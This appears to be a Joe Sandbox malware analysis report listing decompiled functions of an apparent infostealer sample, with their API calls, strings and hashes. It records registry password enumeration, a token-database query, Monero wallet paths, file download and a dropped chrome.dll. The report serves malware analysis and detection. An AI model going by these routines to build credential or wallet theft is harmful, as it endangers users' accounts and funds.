Opcode Fuzzy Hash: 57934a3b32bea57a5bcc239728d9c4b19a11e4d260936dea2b4e9b91803dbc8f
Instruction Fuzzy Hash: 7C414C75A10258EFCB29EF90EC95FDD77B8AB58740F104198F509AB190CBB0AEC4CB64

Function 00117630 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00117330: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0011739A
Part of subcall function 00117330: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00117411
Part of subcall function 00117330: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0011746D
Part of subcall function 00117330: GetProcessHeap.KERNEL32(00000000,?), ref: 001174B2
Part of subcall function 00117330: HeapFree.KERNEL32(00000000), ref: 001174B9

lstrcat.KERNEL32(00000000,0013192C), ref: 00117666
lstrcat.KERNEL32(00000000,00000000), ref: 001176A8
lstrcat.KERNEL32(00000000, : ), ref: 001176BA
lstrcat.KERNEL32(00000000,00000000), ref: 001176EF
lstrcat.KERNEL32(00000000,00131934), ref: 00117700
lstrcat.KERNEL32(00000000,00000000), ref: 00117733
lstrcat.KERNEL32(00000000,00131938), ref: 0011774D
task.LIBCPMTD ref: 0011775B

Strings

: , xrefs: 001176AE

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 088d0e1cb51c558d13479f6b894e33319f48985f15b73a978e7702c4273e23a0
Instruction ID: da197a7fe135e0aab0bab73622df84540e0dfd6747487fcf69c355d16dafae60
Opcode Fuzzy Hash: 088d0e1cb51c558d13479f6b894e33319f48985f15b73a978e7702c4273e23a0
Instruction Fuzzy Hash: A3314F72904148EFDB19EBE0DD95DFE7779AB54301F504628F202AB2E1DB34AD86CB50

Function 00128290 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00E3F308,00000000,?,00130E14,00000000,?,00000000), ref: 001282C0
RtlAllocateHeap.NTDLL(00000000), ref: 001282C7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 001282E8
__aulldiv.LIBCMT ref: 00128302
__aulldiv.LIBCMT ref: 00128310
wsprintfA.USER32 ref: 0012833C

Strings

%d MB, xrefs: 00128333
@, xrefs: 001282DD

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 05ef75d4c7f39097d93a716b19b53b5aec6ae5c5ac030601e1ab9478e14ee807
Instruction ID: 3f3d4547bb19292303fc907c09160a4f9b91a2fed84349281998b7e979e555a2
Opcode Fuzzy Hash: 05ef75d4c7f39097d93a716b19b53b5aec6ae5c5ac030601e1ab9478e14ee807
Instruction Fuzzy Hash: AE215EB1E44218ABDB14DFD4DC45FAEB7B8FB44B00F104609F215BB2C0C77859018BA4

Function 001160F0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0012AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0012AAF6

Part of subcall function 00114800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00114889
Part of subcall function 00114800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00114899

InternetOpenA.WININET(00130DFB,00000001,00000000,00000000,00000000), ref: 0011615F
StrCmpCA.SHLWAPI(?,00E3F970), ref: 00116197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 001161DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00116203
InternetReadFile.WININET(?,?,00000400,?), ref: 0011622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0011625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00116299
InternetCloseHandle.WININET(?), ref: 001162A3
InternetCloseHandle.WININET(00000000), ref: 001162B0

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 3d0667f66d420ac8ec4f6d953cf51756d98a12ed9d53d793ea89461b4a8b48c6
Instruction ID: a08d98c1088e1899454ed0d2309bbd198810a2710991a79710e4b180fa923e09
Opcode Fuzzy Hash: 3d0667f66d420ac8ec4f6d953cf51756d98a12ed9d53d793ea89461b4a8b48c6
Instruction Fuzzy Hash: EE5173B1A00218ABDF24DF90DC85BEE7779AF44301F4085A8F605AB1C0DB756AC9CF95

Function 0019012E Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0019024D
___TypeMatch.LIBVCRUNTIME ref: 0019035B
CatchIt.LIBVCRUNTIME ref: 001903AC
CallUnexpected.LIBVCRUNTIME ref: 001904C8

Strings

csm, xrefs: 00190284
csm, xrefs: 001901D8
csm, xrefs: 0019016B

Memory Dump Source

Source File: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: CallCatchMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2356445960-393685449
Opcode ID: 0aa7d8e53ae69f4e65a14af659269dcd6c8d533d9c3592b436de8e99f8465a7b
Instruction ID: 431c260db63edbdada37082c6868609ff5e0420a93f255eddd5da0351d7a7ced
Opcode Fuzzy Hash: 0aa7d8e53ae69f4e65a14af659269dcd6c8d533d9c3592b436de8e99f8465a7b
Instruction Fuzzy Hash: 71B16B75C00209EFCF2AEFA4D8859AEBBB5FF18310F14416AE9156B212D731DA51CF91

Function 00117330 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0011739A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00117411
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0011746D
GetProcessHeap.KERNEL32(00000000,?), ref: 001174B2
HeapFree.KERNEL32(00000000), ref: 001174B9
task.LIBCPMTD ref: 001175B5

Strings

Password, xrefs: 00117461

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: bf177f27c2d0252f202971852301b152ee102250f5ab8d0960031f22e2871d58
Instruction ID: 4f49139e90fa705665f7368642f4b391c8eacf029c774a863d69dcfbe292dd79
Opcode Fuzzy Hash: bf177f27c2d0252f202971852301b152ee102250f5ab8d0960031f22e2871d58
Instruction Fuzzy Hash: EA613DB590416C9BDB28DB50CC51BD9B7B8BF58300F0081E9E649A6281EF706BC9CF90

Function 00124300 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00E3E5A0,00000000,00020119,?), ref: 00124344
RegQueryValueExA.ADVAPI32(?,00E3F5A8,00000000,00000000,00000000,000000FF), ref: 00124368
RegCloseKey.ADVAPI32(?), ref: 00124372
lstrcat.KERNEL32(?,00000000), ref: 00124397
lstrcat.KERNEL32(?,00E3F5C0), ref: 001243AB

Strings

, xrefs: 00124405
@, xrefs: 00124459

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID: $@
API String ID: 690832082-3381419911
Opcode ID: 1e77ec6275d06e92e99304740015e7921b31845786e43c7eeeaa3fe11218784a
Instruction ID: 6a5f18502d2814df567a13ab22eeafea0623ac5d2195b9d22c8ad6615c0e466e
Opcode Fuzzy Hash: 1e77ec6275d06e92e99304740015e7921b31845786e43c7eeeaa3fe11218784a
Instruction Fuzzy Hash: 8E4197B6900118ABDB25EBA0EC97FEE733DABA8300F00465CB7155A1C1EF7156D88BD1

Function 0011BA50 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Part of subcall function 0012ACC0: lstrlen.KERNEL32(?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 0012ACD5
Part of subcall function 0012ACC0: lstrcpy.KERNEL32(00000000), ref: 0012AD14
Part of subcall function 0012ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0012AD22

Part of subcall function 0012AC30: lstrcpy.KERNEL32(00000000,?), ref: 0012AC82
Part of subcall function 0012AC30: lstrcat.KERNEL32(00000000), ref: 0012AC92

Part of subcall function 0012ABB0: lstrcpy.KERNEL32(?,00130E1A), ref: 0012AC15

Part of subcall function 0012AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0012AAF6

lstrlen.KERNEL32(00000000), ref: 0011BC6F

Part of subcall function 00128FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00128FE2

StrStrA.SHLWAPI(00000000,AccountId), ref: 0011BC9D
lstrlen.KERNEL32(00000000), ref: 0011BD75
lstrlen.KERNEL32(00000000), ref: 0011BD89

Strings

AccountTokens, xrefs: 0011BB19
AccountId, xrefs: 0011BC94
SELECT service, encrypted_token FROM token_service, xrefs: 0011BBBB
AccountTokens, xrefs: 0011BA8A

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 7d96b22c609d87056d58276ab87cdf37aa9a3cb02b9f0b9186fa75d456cdb33b
Instruction ID: 5d0ec187cba72ce5f1cb278817a028e93c2f578652378515f90cc9afa702b11a
Opcode Fuzzy Hash: 7d96b22c609d87056d58276ab87cdf37aa9a3cb02b9f0b9186fa75d456cdb33b
Instruction Fuzzy Hash: 4BB1F471910118ABCF18FBA0EDA6EEE737DAF64300F804569F50677191EF346A58CB62

Function 00126A10 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00126A14
ExitProcess.KERNEL32 ref: 00126A45
ExitProcess.KERNEL32 ref: 00126A4F
ExitProcess.KERNEL32 ref: 00126A59
ExitProcess.KERNEL32 ref: 00126A63
ExitProcess.KERNEL32 ref: 00126A6D

Strings

*, xrefs: 00126A2C

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: a1178e0439aacce7e5fadf47b9ff96845f72936e714e89dcd459c3362b0b125e
Instruction ID: 14f5644ba1adf2042cb6b3644e986c2fbb420460d27b93123e6e9924d6949f35
Opcode Fuzzy Hash: a1178e0439aacce7e5fadf47b9ff96845f72936e714e89dcd459c3362b0b125e
Instruction Fuzzy Hash: 9DF05E3094C389EFD3699FE0E84975CBB38EF04707F114295F60AAA1D1C6744A919B51

Function 001249D0 Relevance: 12.1, APIs: 7, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00E3F6E0), ref: 00124A2B

Part of subcall function 00128F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00128F9B

lstrcat.KERNEL32(?,00000000), ref: 00124A51
lstrcat.KERNEL32(?,?), ref: 00124A70
lstrcat.KERNEL32(?,?), ref: 00124A84
lstrcat.KERNEL32(?,00E2A620), ref: 00124A97
lstrcat.KERNEL32(?,?), ref: 00124AAB
lstrcat.KERNEL32(?,00E3E660), ref: 00124ABF

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Part of subcall function 00128F20: GetFileAttributesA.KERNEL32(00000000,?,00111B94,?,?,0013577C,?,?,00130E22), ref: 00128F2F

Part of subcall function 001247C0: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 001247D0
Part of subcall function 001247C0: RtlAllocateHeap.NTDLL(00000000), ref: 001247D7
Part of subcall function 001247C0: wsprintfA.USER32 ref: 001247F6
Part of subcall function 001247C0: FindFirstFileA.KERNEL32(?,?), ref: 0012480D

Strings

`, xrefs: 00124AB1

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID: `
API String ID: 2540262943-4168407445
Opcode ID: ebdc5a087366853c74a41f0ecbc694923303982fcdc7238dcdca29e7455a1086
Instruction ID: f6db4e4d071a9d80054851b42171b9ffaabdaac5681d70ce553646de56679c77
Opcode Fuzzy Hash: ebdc5a087366853c74a41f0ecbc694923303982fcdc7238dcdca29e7455a1086
Instruction Fuzzy Hash: A03160B290021867CB25FBB0ECC6EDD733CAB68700F404A89B34596095EF70A7D8CB94

Function 001208A0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Part of subcall function 00129850: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,001208DC,C:\ProgramData\chrome.dll), ref: 00129871

Part of subcall function 0011A090: LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll), ref: 0011A098

StrCmpCA.SHLWAPI(00000000,00E39330), ref: 00120922
StrCmpCA.SHLWAPI(00000000,00E393B0), ref: 00120B79
StrCmpCA.SHLWAPI(00000000,00E392C0), ref: 00120A0C

Part of subcall function 0012AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0012AAF6

DeleteFileA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00120C35

Strings

C:\ProgramData\chrome.dll, xrefs: 001208CD
C:\ProgramData\chrome.dll, xrefs: 00120C30

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
